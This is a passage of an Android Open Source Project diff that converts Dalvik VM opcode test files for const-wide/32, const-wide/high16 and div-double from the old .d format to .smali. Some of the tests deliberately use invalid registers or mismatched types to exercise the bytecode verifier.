+.method public run()J
+.registers 255
+
+       const-wide/32 v253, 20000000
+       return-wide v253
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.d
deleted file mode 100644
index 44821ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_32_3.java
-.class public dot.junit.opcodes.const_wide_32.d.T_const_wide_32_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide/32 v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali
new file mode 100644
index 0000000..b01c5a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_3.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide/32 v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.d
deleted file mode 100644
index afae8dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_32_4.java
-.class public dot.junit.opcodes.const_wide_32.d.T_const_wide_32_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide/32 v1, 3456
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali
new file mode 100644
index 0000000..3cdbe7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_4.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide/32 v1, 3456
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d
deleted file mode 100644
index c051462..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_high16_1.java
-.class public dot.junit.opcodes.const_wide_high16.d.T_const_wide_high16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 255
-
-       const-wide/high16 v252, 0x1234000000000000
-       return-wide v252
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.smali
new file mode 100644
index 0000000..f5d54de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_1;
+.super Ljava/lang/Object;
+.source "T_const_wide_high16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 255
+
+    const-wide/high16 v252, 0x1234000000000000L
+
+    return-wide v252
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d
deleted file mode 100644
index 24a577c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_high16_3.java
-.class public dot.junit.opcodes.const_wide_high16.d.T_const_wide_high16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide/high16 v3, 0x1234000000000000
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.smali
new file mode 100644
index 0000000..b463b42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_3;
+.super Ljava/lang/Object;
+.source "T_const_wide_high16_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide/high16 p1, 0x1234000000000000L
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d
deleted file mode 100644
index 614e5a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_high16_4.java
-.class public dot.junit.opcodes.const_wide_high16.d.T_const_wide_high16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide/high16 v1, 0x1234000000000000
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.smali
new file mode 100644
index 0000000..d0336d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide_high16/d/T_const_wide_high16_4;
+.super Ljava/lang/Object;
+.source "T_const_wide_high16_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    const-wide/high16 v1, 0x1234000000000000L
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.d
deleted file mode 100644
index 359ec34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_1.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali
new file mode 100644
index 0000000..e9f667b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_1.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d
deleted file mode 100644
index e09176a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       const v10, 3.1415
-       div-double v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.smali
new file mode 100644
index 0000000..06927bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_double/d/T_div_double_2;
+.super Ljava/lang/Object;
+.source "T_div_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 14
+
+    const p1, 0x40490e56    # 3.1415f
+
+    div-double v0, p1, p3
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.d
deleted file mode 100644
index 02d7929..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_3.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)D
-.limit regs 14
-
-       div-double v0, v10, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali
new file mode 100644
index 0000000..fe67afa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_3.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)D
+.registers 14
+
+       div-double v0, v10, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.d
deleted file mode 100644
index 411b01a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_4.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double v0, v9, v12
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali
new file mode 100644
index 0000000..bbb5346
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_4.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v9, v12
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.d
deleted file mode 100644
index 2675538..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_5.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double v0, v10, v14
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali
new file mode 100644
index 0000000..4318103
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_5.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double v0, v10, v14
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.d
deleted file mode 100644
index 9ef0732..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_6.java
-.class public dot.junit.opcodes.div_double.d.T_div_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 14
-       move v0, v12
-       move v1, v12
-       move v2, v13
-       move v3, v13
-       div-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali
new file mode 100644
index 0000000..a00da1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double/d/T_div_double_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_6.java"
+.class  public Ldot/junit/opcodes/div_double/d/T_div_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 14
+       move v0, v12
+       move v1, v12
+       move v2, v13
+       move v3, v13
+       div-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.d
deleted file mode 100644
index 541526e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_1.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali
new file mode 100644
index 0000000..f9af912
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v10, v12
+       return-wide v10
+.end method
+
+
